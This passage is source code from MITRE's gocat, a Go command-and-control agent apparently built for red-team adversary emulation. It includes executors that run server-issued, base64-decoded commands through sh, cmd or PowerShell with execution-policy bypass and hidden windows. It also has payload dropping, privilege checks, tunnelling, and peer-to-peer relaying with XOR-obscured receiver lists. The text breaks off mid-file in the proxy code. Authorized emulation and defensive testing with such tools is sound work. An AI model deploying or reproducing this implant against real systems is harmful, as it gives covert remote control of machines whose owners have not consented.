├── .gitignore ├── execute ├── donut │ └── load.go ├── shellcode │ └── load.go ├── shells │ ├── shells_config.go │ ├── shells_config_windows.go │ ├── shell.go │ ├── powershell.go │ ├── cmd.go │ ├── shells_shared.go │ └── proc.go └── execute.go ├── README.md ├── go.mod ├── privdetect ├── privilegedetect.go └── privilegedetect_windows.go ├── output └── output.go ├── encoders ├── plaintext.go ├── encoder.go └── base64.go ├── .github └── workflows │ └── go.yml ├── agent ├── agent_factory.go ├── agent_tunnel.go ├── agent_util.go ├── agent_proxy.go └── agent.go ├── contact ├── contact.go ├── tunnel.go ├── ssh_tunnel.go └── api.go ├── proxy ├── proxy.go └── proxy_util.go ├── sandcat.go └── core └── core.go /.gitignore: -------------------------------------------------------------------------------- 1 | .idea/ 2 | -------------------------------------------------------------------------------- /execute/donut/load.go: -------------------------------------------------------------------------------- 1 | package donut 2 | -------------------------------------------------------------------------------- /execute/shellcode/load.go: -------------------------------------------------------------------------------- 1 | package shellcode -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # gocat 2 | [![Go](https://github.com/mitre/gocat/actions/workflows/go.yml/badge.svg)](https://github.com/mitre/gocat/actions/workflows/go.yml) 3 | -------------------------------------------------------------------------------- /execute/shells/shells_config.go: -------------------------------------------------------------------------------- 1 | // +build !windows 2 | 3 | package shells 4 | 5 | import "syscall" 6 | 7 | func getPlatformSysProcAttrs() *syscall.SysProcAttr { 8 | return &syscall.SysProcAttr{} 9 | } -------------------------------------------------------------------------------- /execute/shells/shells_config_windows.go: -------------------------------------------------------------------------------- 1 | package shells 2 | 3 | import "syscall" 4 | 5 | func getPlatformSysProcAttrs() *syscall.SysProcAttr { 6 | return &syscall.SysProcAttr{HideWindow: true} 7 | } -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/mitre/gocat 2 | 3 | go 1.13 4 | 5 | require ( 6 | github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 7 | github.com/grandcat/zeroconf v1.0.0 8 | golang.org/x/crypto v0.0.0-20210415154028-4f45737414dc 9 | ) 10 | -------------------------------------------------------------------------------- /privdetect/privilegedetect.go: -------------------------------------------------------------------------------- 1 | // +build !windows 2 | 3 | package privdetect 4 | 5 | import ( 6 | "os" 7 | ) 8 | 9 | func Privlevel() string{ 10 | uid := os.Geteuid() 11 | 12 | if uid ==0 { 13 | return "Elevated" 14 | } else { 15 | return "User" 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /output/output.go: -------------------------------------------------------------------------------- 1 | package output 2 | 3 | import ( 4 | "fmt" 5 | ) 6 | 7 | var VerboseEnabled = false 8 | 9 | func VerbosePrint(formatted string) { 10 | if VerboseEnabled { 11 | fmt.Println(formatted) 12 | } 13 | } 14 | 15 | func SetVerbose(v bool) { 16 | VerboseEnabled = v 17 | } 18 | -------------------------------------------------------------------------------- /encoders/plaintext.go: -------------------------------------------------------------------------------- 1 | package encoders 2 | 3 | //Base64Encoder encodes and decodes data using base64 4 | type PlaintextEncoder struct { 5 | name string 6 | } 7 | 8 | func init() { 9 | DataEncoders["plain-text"] = &PlaintextEncoder{ name: "plain-text" } 10 | } 11 | 12 | func (p *PlaintextEncoder) GetName() string { 13 | return p.name 14 | } 15 | 16 | func (p *PlaintextEncoder) EncodeData(data []byte, config map[string]interface{}) ([]byte, error) { 17 | return data, nil 18 | } 19 | 20 | func (p *PlaintextEncoder) DecodeData(data []byte, config map[string]interface{}) ([]byte, error) { 21 | return data, nil 22 | } 23 | -------------------------------------------------------------------------------- /.github/workflows/go.yml: -------------------------------------------------------------------------------- 1 | name: Go 2 | 3 | on: 4 | push: 5 | branches: [ master ] 6 | pull_request: 7 | branches: [ master ] 8 | 9 | jobs: 10 | 11 | build: 12 | runs-on: ubuntu-latest 13 | steps: 14 | - uses: actions/checkout@v2 15 | with: 16 | fetch-depth: 1 17 | ref: master 18 | 19 | - name: Set up Go 20 | uses: actions/setup-go@v2 21 | with: 22 | go-version: 1.16 23 | 24 | - name: Mod tidy 25 | run: go mod tidy 26 | 27 | - name: Build 28 | run: go build -v . 29 | 30 | - name: Test binary 31 | run: file gocat && ./gocat -help 32 | -------------------------------------------------------------------------------- /encoders/encoder.go: -------------------------------------------------------------------------------- 1 | package encoders 2 | 3 | // DataEncoder defines required functions for encoding/decoding data/files. 4 | type DataEncoder interface { 5 | GetName() string 6 | EncodeData(data []byte, config map[string]interface{}) ([]byte, error) 7 | DecodeData(data []byte, config map[string]interface{}) ([]byte, error) 8 | } 9 | 10 | //DataEncoders contains the data encoder implementations 11 | var DataEncoders = map[string]DataEncoder{} 12 | 13 | // Get available data encoder implementations 14 | func GetAvailableDataEncoders() []string { 15 | encoderNames := make([]string, 0, len(DataEncoders)) 16 | for encoderName := range DataEncoders { 17 | encoderNames = append(encoderNames, encoderName) 18 | } 19 | return encoderNames 20 | } 21 | -------------------------------------------------------------------------------- /agent/agent_factory.go: -------------------------------------------------------------------------------- 1 | package agent 2 | 3 | import ( 4 | "github.com/mitre/gocat/contact" 5 | ) 6 | 7 | // Creates and initializes a new Agent. Upon success, returns a pointer to the agent and nil Error. 8 | // Upon failure, returns nil and an error. 9 | func AgentFactory(server string, tunnelConfig *contact.TunnelConfig, group string, c2Config map[string]string, enableLocalP2pReceivers bool, initialDelay int, paw string, originLinkID string) (*Agent, error) { 10 | newAgent := &Agent{} 11 | if err := newAgent.Initialize(server, tunnelConfig, group, c2Config, enableLocalP2pReceivers, initialDelay, paw, originLinkID); err != nil { 12 | return nil, err 13 | } else { 14 | newAgent.Sleep(newAgent.initialDelay) 15 | return newAgent, nil 16 | } 17 | } -------------------------------------------------------------------------------- /encoders/base64.go: -------------------------------------------------------------------------------- 1 | package encoders 2 | 3 | import ( 4 | "encoding/base64" 5 | ) 6 | 7 | //Base64Encoder encodes and decodes data using base64 8 | type Base64Encoder struct { 9 | name string 10 | } 11 | 12 | func init() { 13 | DataEncoders["base64"] = &Base64Encoder{ name: "base64" } 14 | } 15 | 16 | func (b *Base64Encoder) GetName() string { 17 | return b.name 18 | } 19 | 20 | func (b *Base64Encoder) EncodeData(data []byte, config map[string]interface{}) ([]byte, error) { 21 | encodedStr := base64.StdEncoding.EncodeToString(data) 22 | return []byte(encodedStr), nil 23 | } 24 | 25 | func (b *Base64Encoder) DecodeData(data []byte, config map[string]interface{}) ([]byte, error) { 26 | encodedStr := string(data) 27 | return base64.StdEncoding.DecodeString(encodedStr) 28 | } 29 | -------------------------------------------------------------------------------- /execute/shells/shell.go: -------------------------------------------------------------------------------- 1 | package shells 2 | 3 | import ( 4 | "github.com/mitre/gocat/execute" 5 | "os/exec" 6 | "time" 7 | ) 8 | 9 | type Sh struct { 10 | path string 11 | execArgs []string 12 | } 13 | 14 | func init() { 15 | shell := &Sh{ 16 | path: "sh", 17 | execArgs: []string{"-c"}, 18 | } 19 | if shell.CheckIfAvailable() { 20 | execute.Executors[shell.path] = shell 21 | } 22 | } 23 | 24 | func (s *Sh) Run(command string, timeout int, info execute.InstructionInfo) ([]byte, string, string, time.Time) { 25 | return runShellExecutor(*exec.Command(s.path, append(s.execArgs, command)...), timeout) 26 | } 27 | 28 | func (s *Sh) String() string { 29 | return s.path 30 | } 31 | 32 | func (s *Sh) CheckIfAvailable() bool { 33 | return checkExecutorInPath(s.path) 34 | } 35 | 36 | func (s* Sh) DownloadPayloadToMemory(payloadName string) bool { 37 | return false 38 | } 39 | 40 | func (s* Sh) UpdateBinary(newBinary string) { 41 | s.path = newBinary 42 | } 43 | -------------------------------------------------------------------------------- /contact/contact.go: -------------------------------------------------------------------------------- 1 | package contact 2 | 3 | const ( 4 | ok = 200 5 | created = 201 6 | ) 7 | 8 | //Contact defines required functions for communicating with the server 9 | type Contact interface { 10 | GetBeaconBytes(profile map[string]interface{}) []byte 11 | GetPayloadBytes(profile map[string]interface{}, payload string) ([]byte, string) 12 | C2RequirementsMet(profile map[string]interface{}, c2Config map[string]string) (bool, map[string]string) 13 | SendExecutionResults(profile map[string]interface{}, result map[string]interface{}) 14 | GetName() string 15 | SetUpstreamDestAddr(upstreamDestAddr string) 16 | UploadFileBytes(profile map[string]interface{}, uploadName string, data []byte) error 17 | } 18 | 19 | //CommunicationChannels contains the contact implementations 20 | var CommunicationChannels = map[string]Contact{} 21 | 22 | func GetAvailableCommChannels() []string { 23 | channels := make([]string, 0, len(CommunicationChannels)) 24 | for k := range CommunicationChannels { 25 | channels = append(channels, k) 26 | } 27 | return channels 28 | } -------------------------------------------------------------------------------- /execute/shells/powershell.go: -------------------------------------------------------------------------------- 1 | // +build windows 2 | 3 | package shells 4 | 5 | import ( 6 | "github.com/mitre/gocat/execute" 7 | "os/exec" 8 | "time" 9 | ) 10 | 11 | type Powershell struct { 12 | shortName string 13 | path string 14 | execArgs []string 15 | } 16 | 17 | func init() { 18 | shell := &Powershell{ 19 | shortName: "psh", 20 | path: "powershell.exe", 21 | execArgs: []string{"-ExecutionPolicy", "Bypass", "-C"}, 22 | } 23 | if shell.CheckIfAvailable() { 24 | execute.Executors[shell.shortName] = shell 25 | } 26 | } 27 | 28 | func (p *Powershell) Run(command string, timeout int, info execute.InstructionInfo) ([]byte, string, string, time.Time) { 29 | return runShellExecutor(*exec.Command(p.path, append(p.execArgs, command)...), timeout) 30 | } 31 | 32 | func (p *Powershell) String() string { 33 | return p.shortName 34 | } 35 | 36 | func (p *Powershell) CheckIfAvailable() bool { 37 | return checkExecutorInPath(p.path) 38 | } 39 | 40 | func (p* Powershell) DownloadPayloadToMemory(payloadName string) bool { 41 | return false 42 | } 43 | 44 | func (p *Powershell) UpdateBinary(newBinary string) { 45 | p.path = newBinary 46 | } 47 | -------------------------------------------------------------------------------- /agent/agent_tunnel.go: -------------------------------------------------------------------------------- 1 | package agent 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | 7 | "github.com/mitre/gocat/contact" 8 | "github.com/mitre/gocat/output" 9 | ) 10 | 11 | func (a *Agent) StartTunnel(tunnelConfig *contact.TunnelConfig) error { 12 | a.usingTunnel = false 13 | tunnelFactoryFunc, ok := contact.CommunicationTunnelFactories[tunnelConfig.Protocol] 14 | if !ok { 15 | return errors.New(fmt.Sprintf("Could not find communication tunnel factory for protocol %s", tunnelConfig.Protocol)) 16 | } 17 | tunnel, err := tunnelFactoryFunc(tunnelConfig) 18 | if err != nil { 19 | return err 20 | } 21 | a.tunnel = tunnel 22 | output.VerbosePrint(fmt.Sprintf("[*] Starting %s tunnel", tunnel.GetName())) 23 | tunnelReady := make(chan bool) 24 | go a.tunnel.Start(tunnelReady) 25 | 26 | // Wait for tunnel to be ready 27 | ready := <-tunnelReady 28 | if ready { 29 | output.VerbosePrint(fmt.Sprintf("[*] %s tunnel ready and listening on %s.", a.tunnel.GetName(), a.tunnel.GetLocalEndpoint())) 30 | a.updateUpstreamDestAddr(a.tunnel.GetLocalEndpoint()) 31 | a.usingTunnel = true 32 | return nil 33 | } 34 | return errors.New(fmt.Sprintf("Failed to start communication tunnel %s", a.tunnel.GetName())) 35 | } -------------------------------------------------------------------------------- /agent/agent_util.go: -------------------------------------------------------------------------------- 1 | package agent 2 | 3 | import ( 4 | "os" 5 | "os/user" 6 | "os/exec" 7 | "time" 8 | ) 9 | 10 | // Checks for a file 11 | func fileExists(path string) bool { 12 | _, err := os.Stat(path) 13 | if err == nil { 14 | return true 15 | } 16 | if os.IsNotExist(err) { 17 | return false 18 | } 19 | return true 20 | } 21 | 22 | // Creates payload from []bytes 23 | func writePayloadBytes(location string, payload []byte) error { 24 | dst, err := os.Create(location) 25 | if err != nil { 26 | return err 27 | } else { 28 | defer dst.Close() 29 | if _, err = dst.Write(payload); err != nil { 30 | return err 31 | } else if err = os.Chmod(location, 0700); err != nil { 32 | return err 33 | } else { 34 | return nil 35 | } 36 | } 37 | } 38 | 39 | func getUsername() (string, error) { 40 | if userInfo, err := user.Current(); err != nil { 41 | if usernameBytes, err := exec.Command("whoami").CombinedOutput(); err == nil { 42 | return string(usernameBytes), nil 43 | } else { 44 | return "", err 45 | } 46 | } else { 47 | return userInfo.Username, nil 48 | } 49 | } 50 | 51 | func getFormattedTimestamp(timestamp time.Time, dateFormat string) (string) { 52 | return timestamp.Format(dateFormat) 53 | } 54 | -------------------------------------------------------------------------------- /execute/shells/cmd.go: -------------------------------------------------------------------------------- 1 | // +build windows 2 | 3 | package shells 4 | 5 | import ( 6 | "github.com/mitre/gocat/execute" 7 | "os/exec" 8 | "strings" 9 | "syscall" 10 | "time" 11 | ) 12 | 13 | type Cmd struct { 14 | shortName string 15 | path string 16 | execArgs []string 17 | } 18 | 19 | func init() { 20 | shell := &Cmd{ 21 | shortName: "cmd", 22 | path: "cmd.exe", 23 | execArgs: []string{"/C"}, 24 | } 25 | if shell.CheckIfAvailable() { 26 | execute.Executors[shell.shortName] = shell 27 | } 28 | } 29 | 30 | func (c *Cmd) Run(command string, timeout int, info execute.InstructionInfo) ([]byte, string, string, time.Time) { 31 | cmd := *exec.Command(c.path) 32 | cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 33 | commandLineComponents := append(append([]string{c.path}, c.execArgs...), command) 34 | cmd.SysProcAttr.CmdLine = strings.Join(commandLineComponents, " ") 35 | return runShellExecutor(cmd, timeout) 36 | } 37 | 38 | func (c *Cmd) String() string { 39 | return c.shortName 40 | } 41 | 42 | func (c *Cmd) CheckIfAvailable() bool { 43 | return checkExecutorInPath(c.path) 44 | } 45 | 46 | func (c* Cmd) DownloadPayloadToMemory(payloadName string) bool { 47 | return false 48 | } 49 | 50 | func (c* Cmd) UpdateBinary(newBinary string) { 51 | c.path = newBinary 52 | } 53 | -------------------------------------------------------------------------------- /privdetect/privilegedetect_windows.go: -------------------------------------------------------------------------------- 1 | // +build windows 2 | package privdetect 3 | 4 | import ( 5 | "syscall" 6 | "unsafe" 7 | "fmt" 8 | "github.com/mitre/gocat/output" 9 | ) 10 | type Token uintptr 11 | 12 | const ( 13 | // do not reorder 14 | TokenUser = 1 + iota 15 | TokenGroups 16 | TokenPrivileges 17 | TokenOwner 18 | TokenPrimaryGroup 19 | TokenDefaultDacl 20 | TokenSource 21 | TokenType 22 | TokenImpersonationLevel 23 | TokenStatistics 24 | TokenRestrictedSids 25 | TokenSessionId 26 | TokenGroupsAndPrivileges 27 | TokenSessionReference 28 | TokenSandBoxInert 29 | TokenAuditPolicy 30 | TokenOrigin 31 | TokenElevationType 32 | TokenLinkedToken 33 | TokenElevation 34 | TokenHasRestrictions 35 | TokenAccessInformation 36 | TokenVirtualizationAllowed 37 | TokenVirtualizationEnabled 38 | TokenIntegrityLevel 39 | TokenUIAccess 40 | TokenMandatoryPolicy 41 | TokenLogonSid 42 | MaxTokenInfoClass 43 | errnoERROR_IO_PENDING = 997 44 | ) 45 | 46 | func IsElevated(token syscall.Token) bool { 47 | var isElevated uint32 48 | var outLen uint32 49 | err := syscall.GetTokenInformation(token, TokenElevation, (*byte)(unsafe.Pointer(&isElevated)), uint32(unsafe.Sizeof(isElevated)), &outLen) 50 | if err != nil { 51 | output.VerbosePrint(fmt.Sprintf("Error getting process token info: %s", err.Error())) 52 | return false 53 | } 54 | return outLen == uint32(unsafe.Sizeof(isElevated)) && isElevated != 0 55 | } 56 | 57 | func Privlevel() string{ 58 | token, err := syscall.OpenCurrentProcessToken() 59 | if err != nil { 60 | output.VerbosePrint(fmt.Sprintf("Error opening current process token: %s", err.Error())) 61 | } else if IsElevated(token) { 62 | return "Elevated" 63 | } 64 | return "User" 65 | } -------------------------------------------------------------------------------- /execute/shells/shells_shared.go: -------------------------------------------------------------------------------- 1 | package shells 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | "os/exec" 7 | "strconv" 8 | "time" 9 | 10 | "github.com/mitre/gocat/execute" 11 | "github.com/mitre/gocat/output" 12 | ) 13 | 14 | func checkExecutorInPath(path string) bool { 15 | _, err := exec.LookPath(path) 16 | output.VerbosePrint(fmt.Sprint(err)) 17 | return err == nil 18 | } 19 | 20 | func runShellExecutor(cmd exec.Cmd, timeout int) ([]byte, string, string, time.Time) { 21 | done := make(chan error, 1) 22 | status := execute.SUCCESS_STATUS 23 | var stdoutBuf, stderrBuf bytes.Buffer 24 | if cmd.SysProcAttr == nil { 25 | cmd.SysProcAttr = getPlatformSysProcAttrs() 26 | } 27 | cmd.Stdout = &stdoutBuf 28 | cmd.Stderr = &stderrBuf 29 | executionTimestamp := time.Now().UTC() 30 | err := cmd.Start() 31 | if err != nil { 32 | return []byte(fmt.Sprintf("Encountered an error starting the process: %q", err.Error())), execute.ERROR_STATUS, execute.ERROR_PID, executionTimestamp 33 | } 34 | pid := strconv.Itoa(cmd.Process.Pid) 35 | go func() { 36 | done <- cmd.Wait() 37 | }() 38 | select { 39 | case <-time.After(time.Duration(timeout) * time.Second): 40 | if err := cmd.Process.Kill(); err != nil { 41 | return []byte("Timeout reached, but couldn't kill the process"), execute.ERROR_STATUS, pid, executionTimestamp 42 | } 43 | return []byte("Timeout reached, process killed"), execute.TIMEOUT_STATUS, pid, executionTimestamp 44 | case err := <-done: 45 | stdoutBytes := stdoutBuf.Bytes() 46 | stderrBytes := stderrBuf.Bytes() 47 | if err != nil { 48 | status = execute.ERROR_STATUS 49 | } 50 | if len(stderrBytes) > 0 { 51 | return stderrBytes, status, pid, executionTimestamp 52 | } 53 | return stdoutBytes, status, pid, executionTimestamp 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /proxy/proxy.go: -------------------------------------------------------------------------------- 1 | package proxy 2 | 3 | import ( 4 | "sync" 5 | 6 | "github.com/mitre/gocat/contact" 7 | ) 8 | 9 | // Define MessageType values for P2pMessage 10 | const ( 11 | GET_INSTRUCTIONS = 1 12 | GET_PAYLOAD_BYTES = 2 13 | SEND_EXECUTION_RESULTS = 3 14 | RESPONSE_INSTRUCTIONS = 4 15 | RESPONSE_PAYLOAD_BYTES = 5 16 | ACK_EXECUTION_RESULTS = 6 17 | SEND_FILE_UPLOAD_BYTES = 7 18 | RESPONSE_FILE_UPLOAD = 8 19 | ) 20 | 21 | // P2pReceiver defines required functions for relaying messages between peers and an upstream peer/c2. 22 | type P2pReceiver interface { 23 | InitializeReceiver(agentServer *string, upstreamComs *contact.Contact, waitgroup *sync.WaitGroup) error 24 | RunReceiver() // must be run as a go routine 25 | UpdateAgentPaw(newPaw string) 26 | Terminate() 27 | GetReceiverAddresses() []string 28 | } 29 | 30 | // P2pClient will implement the contact.Contact interface. 31 | 32 | // Defines message structure for p2p 33 | type P2pMessage struct { 34 | SourcePaw string // Paw of agent sending the original request. 35 | SourceAddress string // return address for responses (e.g. IP + port, pipe path) 36 | MessageType int 37 | Payload []byte 38 | Populated bool 39 | } 40 | 41 | var ( 42 | // P2pReceiverChannels contains the possible P2pReceiver implementations 43 | P2pReceiverChannels = map[string]P2pReceiver{} 44 | 45 | // Contains the C2 Contact implementations strictly for peer-to-peer communications. 46 | P2pClientChannels = map[string]contact.Contact{} 47 | 48 | // Contains the base64-encoded JSON-dumped list of available proxy receiver information 49 | // in the form [["Proxy protocol 1","Proxy receiver 1"], ... ["Proxy protocol N","Proxy receiver N"]] 50 | encodedReceivers = "" 51 | 52 | // XOR key for the encoded proxy receiver info. 53 | receiverKey = "" 54 | ) -------------------------------------------------------------------------------- /execute/shells/proc.go: -------------------------------------------------------------------------------- 1 | package shells 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "os/exec" 7 | "runtime" 8 | "strconv" 9 | "strings" 10 | "time" 11 | "github.com/google/shlex" 12 | 13 | "github.com/mitre/gocat/execute" 14 | "github.com/mitre/gocat/output" 15 | ) 16 | 17 | type Proc struct { 18 | name string 19 | currDir string 20 | } 21 | 22 | func init() { 23 | cwd, _ := os.Getwd() 24 | executor := &Proc{ 25 | name: "proc", 26 | currDir: cwd, 27 | } 28 | execute.Executors[executor.name] = executor 29 | } 30 | 31 | func (p *Proc) Run(command string, timeout int, info execute.InstructionInfo) ([]byte, string, string, time.Time) { 32 | exePath, exeArgs, err := p.getExeAndArgs(command) 33 | if err != nil { 34 | output.VerbosePrint(fmt.Sprintf("[!] Error parsing command line: %s", err.Error())) 35 | return nil, "", "", time.Now().UTC() 36 | } 37 | output.VerbosePrint(fmt.Sprintf("[*] Starting process %s with args %v", exePath, exeArgs)) 38 | if exePath == "del" || exePath == "rm" { 39 | return p.deleteFiles(exeArgs) 40 | } 41 | return runShellExecutor(*exec.Command(exePath, append(exeArgs)...), timeout) 42 | } 43 | 44 | func (p *Proc) String() string { 45 | return p.name 46 | } 47 | 48 | func (p *Proc) CheckIfAvailable() bool { 49 | return true 50 | } 51 | 52 | func (p *Proc) DownloadPayloadToMemory(payloadName string) bool { 53 | return false 54 | } 55 | 56 | func (p *Proc) getExeAndArgs(commandLine string) (string, []string, error) { 57 | if runtime.GOOS == "windows" { 58 | commandLine = strings.ReplaceAll(commandLine, "\\", "\\\\") 59 | } 60 | split, err := shlex.Split(commandLine) 61 | if err != nil { 62 | return "", nil, err 63 | } 64 | return split[0], split[1:], nil 65 | } 66 | 67 | func (p *Proc) UpdateBinary(newBinary string) { 68 | return 69 | } 70 | 71 | func (p *Proc) deleteFiles(files []string) ([]byte, string, string, time.Time) { 72 | pid := strconv.Itoa(os.Getpid()) 73 | var outputMessages []string 74 | var msg string 75 | var err error 76 | status := execute.SUCCESS_STATUS 77 | executionTimestamp := time.Now().UTC() 78 | for _, toDelete := range files { 79 | err = os.Remove(toDelete) 80 | if err != nil { 81 | msg = fmt.Sprintf("Failed to remove %s: %s", toDelete, err.Error()) 82 | status = execute.ERROR_STATUS 83 | } else { 84 | msg = fmt.Sprintf("Removed file %s.", toDelete) 85 | } 86 | outputMessages = append(outputMessages, msg) 87 | } 88 | return []byte(strings.Join(outputMessages, "\n")), status, pid, executionTimestamp 89 | } -------------------------------------------------------------------------------- /sandcat.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "strconv" 7 | "strings" 8 | 9 | "github.com/mitre/gocat/contact" 10 | "github.com/mitre/gocat/core" 11 | ) 12 | 13 | /* 14 | These default values can be overridden during linking - server, group, and sleep can also be overridden 15 | with command-line arguments at runtime. 16 | */ 17 | var ( 18 | key = "JWHQZM9Z4HQOYICDHW4OCJAXPPNHBA" 19 | server = "http://localhost:8888" 20 | paw = "" 21 | group = "red" 22 | c2Name = "HTTP" 23 | c2Key = "" 24 | listenP2P = "false" // need to set as string to allow ldflags -X build-time variable change on server-side. 25 | httpProxyGateway = "" 26 | ) 27 | 28 | func main() { 29 | parsedListenP2P, err := strconv.ParseBool(listenP2P) 30 | if err != nil { 31 | parsedListenP2P = false 32 | } 33 | server := flag.String("server", server, "The FQDN of the server") 34 | httpProxyUrl := flag.String("httpProxyGateway", httpProxyGateway, "URL for the HTTP proxy gateway. For environments that use proxies to reach the internet.") 35 | paw := flag.String("paw", paw, "Optionally specify a PAW on initialization") 36 | group := flag.String("group", group, "Attach a group to this agent") 37 | c2Protocol := flag.String("c2", c2Name, "C2 Channel for agent") 38 | delay := flag.Int("delay", 0, "Delay starting this agent by n-seconds") 39 | verbose := flag.Bool("v", false, "Enable verbose output") 40 | listenP2P := flag.Bool("listenP2P", parsedListenP2P, "Enable peer-to-peer receivers") 41 | originLinkID := flag.String("originLinkID", "", "Optionally set originating link ID") 42 | tunnelProtocol := flag.String("tunnelProtocol", "", "C2 comms tunnel type to use.") 43 | tunnelAddr := flag.String("tunnelAddr", "", "Address used to connect to or start the tunnel.") 44 | tunnelUsername := flag.String("tunnelUser", "", "Username used to authenticate to the tunnel.") 45 | tunnelPassword := flag.String("tunnelPassword", "", "Password used to authenticate to the tunnel.") 46 | 47 | flag.Parse() 48 | 49 | trimmedServer := strings.TrimRight(*server, "/") 50 | tunnelConfig, err := contact.BuildTunnelConfig(*tunnelProtocol, *tunnelAddr, trimmedServer, *tunnelUsername, *tunnelPassword) 51 | if err != nil && *verbose { 52 | fmt.Println(fmt.Sprintf("[!] Error building tunnel config: %s", err.Error())) 53 | return 54 | } 55 | contactConfig := map[string]string{ 56 | "c2Name": *c2Protocol, 57 | "c2Key": c2Key, 58 | "httpProxyGateway": *httpProxyUrl, 59 | } 60 | core.Core(trimmedServer, tunnelConfig, *group, *delay, contactConfig, *listenP2P, *verbose, *paw, *originLinkID) 61 | } 62 | -------------------------------------------------------------------------------- /execute/execute.go: -------------------------------------------------------------------------------- 1 | package execute 2 | 3 | import ( 4 | "encoding/base64" 5 | "path/filepath" 6 | "fmt" 7 | "time" 8 | "os" 9 | "strings" 10 | ) 11 | 12 | const ( 13 | SUCCESS_STATUS = "0" 14 | ERROR_STATUS = "1" 15 | TIMEOUT_STATUS = "124" 16 | SUCCESS_PID = "0" 17 | ERROR_PID = "1" 18 | ) 19 | 20 | type Executor interface { 21 | // Run takes a command string, timeout int, and instruction info. 22 | // Returns Raw Output, A String status code, and a String PID 23 | Run(command string, timeout int, info InstructionInfo) ([]byte, string, string, time.Time) 24 | String() string 25 | CheckIfAvailable() bool 26 | UpdateBinary(newBinary string) 27 | 28 | // Returns true if the executor wants the payload downloaded to memory, false if it wants the payload on disk. 29 | DownloadPayloadToMemory(payloadName string) bool 30 | } 31 | 32 | type InstructionInfo struct { 33 | Profile map[string]interface{} 34 | Instruction map[string]interface{} 35 | OnDiskPayloads []string 36 | InMemoryPayloads map[string][]byte 37 | } 38 | 39 | func AvailableExecutors() (values []string) { 40 | for _, e := range Executors { 41 | values = append(values, e.String()) 42 | } 43 | return 44 | } 45 | 46 | var Executors = map[string]Executor{} 47 | 48 | //RunCommand runs the actual command 49 | func RunCommand(info InstructionInfo) ([]byte, string, string, time.Time) { 50 | encodedCommand := info.Instruction["command"].(string) 51 | executor := info.Instruction["executor"].(string) 52 | timeout := int(info.Instruction["timeout"].(float64)) 53 | onDiskPayloads := info.OnDiskPayloads 54 | var status string 55 | var result []byte 56 | var pid string 57 | var executionTimestamp time.Time 58 | decoded, err := base64.StdEncoding.DecodeString(encodedCommand) 59 | if err != nil { 60 | result = []byte(fmt.Sprintf("Error when decoding command: %s", err.Error())) 61 | status = ERROR_STATUS 62 | pid = ERROR_STATUS 63 | executionTimestamp = time.Now().UTC() 64 | } else { 65 | command := string(decoded) 66 | missingPaths := checkPayloadsAvailable(onDiskPayloads) 67 | if len(missingPaths) == 0 { 68 | result, status, pid, executionTimestamp = Executors[executor].Run(command, timeout, info) 69 | } else { 70 | result = []byte(fmt.Sprintf("Payload(s) not available: %s", strings.Join(missingPaths, ", "))) 71 | status = ERROR_STATUS 72 | pid = ERROR_STATUS 73 | executionTimestamp = time.Now().UTC() 74 | } 75 | } 76 | return result, status, pid, executionTimestamp 77 | } 78 | 79 | func RemoveExecutor(name string) { 80 | delete(Executors, name) 81 | } 82 | 83 | //checkPayloadsAvailable determines if any payloads are not on disk 84 | func checkPayloadsAvailable(payloads []string) []string { 85 | var missing []string 86 | for i := range payloads { 87 | if fileExists(filepath.Join(payloads[i])) == false { 88 | missing = append(missing, payloads[i]) 89 | } 90 | } 91 | return missing 92 | } 93 | 94 | // checks for a file 95 | func fileExists(path string) bool { 96 | _, err := os.Stat(path) 97 | if err == nil { 98 | return true 99 | } 100 | if os.IsNotExist(err) { 101 | return false 102 | } 103 | return true 104 | } 105 | -------------------------------------------------------------------------------- /proxy/proxy_util.go: -------------------------------------------------------------------------------- 1 | package proxy 2 | 3 | import ( 4 | "encoding/base64" 5 | "encoding/json" 6 | "net" 7 | ) 8 | 9 | // Build p2p message and return the bytes of its JSON marshal. 10 | func buildP2pMsgBytes(sourcePaw string, messageType int, payload []byte, srcAddr string) ([]byte, error) { 11 | p2pMsg := &P2pMessage{ 12 | SourcePaw: sourcePaw, 13 | SourceAddress: srcAddr, 14 | MessageType: messageType, 15 | Payload: payload, 16 | Populated: true, 17 | } 18 | return json.Marshal(p2pMsg) 19 | } 20 | // Convert bytes of JSON marshal into P2pMessage struct 21 | func bytesToP2pMsg(data []byte) (P2pMessage, error) { 22 | var message P2pMessage 23 | if err := json.Unmarshal(data, &message); err == nil { 24 | return message, nil 25 | } else { 26 | return message, err 27 | } 28 | } 29 | 30 | // Check if message is empty. 31 | func msgIsEmpty(msg P2pMessage) bool { 32 | return !msg.Populated 33 | } 34 | 35 | func decodeXor(ciphertext string, xorKey string) string { 36 | decoded := "" 37 | key_length := len(xorKey) 38 | for index, _ := range ciphertext { 39 | decoded += string(ciphertext[index] ^ xorKey[index % key_length]) 40 | } 41 | return decoded 42 | } 43 | 44 | // Returns map mapping proxy receiver protocol to list of peer receiver addresses. 45 | func GetAvailablePeerReceivers() (map[string][]string, error) { 46 | peerReceiverInfo := make(map[string][]string) 47 | if len(encodedReceivers) > 0 && len(receiverKey) > 0 { 48 | ciphertext, err := base64.StdEncoding.DecodeString(encodedReceivers) 49 | if err != nil { 50 | return nil, err 51 | } 52 | decodedReceiverInfo := decodeXor(string(ciphertext), receiverKey) 53 | if err = json.Unmarshal([]byte(decodedReceiverInfo), &peerReceiverInfo); err != nil { 54 | return nil, err 55 | } 56 | } 57 | return peerReceiverInfo, nil 58 | } 59 | 60 | // Given the client profile, append the forwarder's paw, receiver address, and peer protocol to the peer proxy 61 | // chain information in the profile to update the peer-to-peer hops. Modifies the given client profile. 62 | func updatePeerChain(clientProfile map[string]interface{}, forwarderPaw string, receiverAddr string, peerProtocol string) { 63 | // Proxy chain must be a list of length-3 lists ([forwarder paw, receiver address, peer protocol]) 64 | var proxyChain []interface{} 65 | if _, ok := clientProfile["proxy_chain"]; ok { 66 | proxyChain = clientProfile["proxy_chain"].([]interface{}) 67 | } else { 68 | proxyChain = make([]interface{}, 0) 69 | } 70 | nextHop := make([]string, 3) 71 | nextHop[0] = 